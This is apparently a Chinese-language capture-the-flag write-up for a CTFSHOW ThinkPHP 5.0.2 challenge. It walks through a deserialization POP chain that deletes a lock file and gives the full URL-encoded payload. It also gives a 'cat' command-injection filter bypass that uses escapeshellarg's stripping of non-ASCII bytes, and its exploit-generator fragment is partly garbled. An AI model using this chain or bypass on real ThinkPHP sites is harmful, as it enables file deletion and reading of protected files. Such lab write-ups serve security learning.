ThinkPHP框架漏洞以及不可见字符绕过

ThinkPHP框架漏洞以及不可见字符绕过

打开页面,我们可以看见源码
``
<?php
namespace app\index\controller;
class Index
{
public function index($run=[])
{
highlight_file(__FILE__);
echo ‘

Welcome to CTFSHOW


‘;
echo ‘Powered by PHPthink5.0.2
‘;
echo dirname(FILE);

if (!empty($run[2])){
        echo 'ZmxhZyBpcyBub3QgaGVyZSBidXQgaXQgaXMgaW4gZmxhZy50eHQ=';
    }
if (!empty($run[1])){
        unserialize($run[1]);
    }
}
// hint:/index/index/backdoor
public function backdoor(){
    if (!file_exists(dirname(__FILE__).'/../../'."install.lock")){
    echo "Try to post CMD arguments".'<br/>';
        $data = input('post.');
        if (!preg_match('/flag/i',$data['cmd'])){
            $cmd = escapeshellarg($data['cmd']);
    $cmd='cat '.$cmd;
    echo $cmd;
            system($cmd);
        }else{
            echo "No No No";
        }

    }else{
    echo dirname(__FILE__).'/../../'."install.lock has not been deleted";
}
}

}

1
从源码中,我们可以看见hint

/index/index/backdoor

1
因此,我们可以构造

index.php/index/index/backdoor

1
然后回显出

/var/www/html/application/index/controller/../../install.lock has not been deleted

1
因此,我们需要想办法删除/var/www/html/application/index/controller/../../install.lock文件,但是我们从源码中没有看见可以删除文件的函数,但是我们可以看见

Powered by PHPthink5.0.2

1
2
3
所以我们可以上网搜ThinkPHP5.0.2漏洞,发现这个版本ThinkPHP有一个反序列化pop链的使用,所以我们可以上网下载ThinkPHP5.0.2的源码

然后发现在thinkphp/library/think/process/pipes/Windows.php文件中有一个删除文件的自定义函数
private function removeFiles()
{
    foreach ($this->files as $filename) {
        if (file_exists($filename)) { //触发__toString方法
            @unlink($filename);
        }
    }
    $this->files = [];
}
1
2

而魔术方法__destruct()里有调用这个removeFiles()函数,
public function __destruct()
{
    $this->close();
    $this->removeFiles(); //跟
}
1
2

所以我们可以构造一条pop链来删除/var/www/html/application/index/controller/../../install.lock文件,而__destruct()魔术方法是在类的对象被销毁时被触发的,所以exp
files=array("/var/www/html/application/index/controller/../../install.lock"); } } $b=new Windows(); echo urlencode(serialize($b)); ?>
1
构造payload

?run[1]=O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A61%3A%22%2Fvar%2Fwww%2Fhtml%2Fapplication%2Findex%2Fcontroller%2F..%2F..%2Finstall.lock%22%3B%7D%7D

1
即可删除/var/www/html/application/index/controller/../../install.lock文件,然后构造cmd参数并post提交即可,但是这里有正则过滤

preg_match(‘/flag/i’,$data[‘cmd’])

1
所以我们可以尝试通配符,但发现因为

$cmd = escapeshellarg($data[‘cmd’]);

1
所以不可以成功,所以我们可以使用不可见字符来绕过,但是escapeshellarg()函数在未设置LANG环境变量时,会去除非ASCII字符,因此可以使用payload

cmd=/fl%8aag

用bp来post提交即可

参考文章:[https://www.anquanke.com/post/id/196364]

    [https://www.cnblogs.com/zpchcbd/p/12731035.html]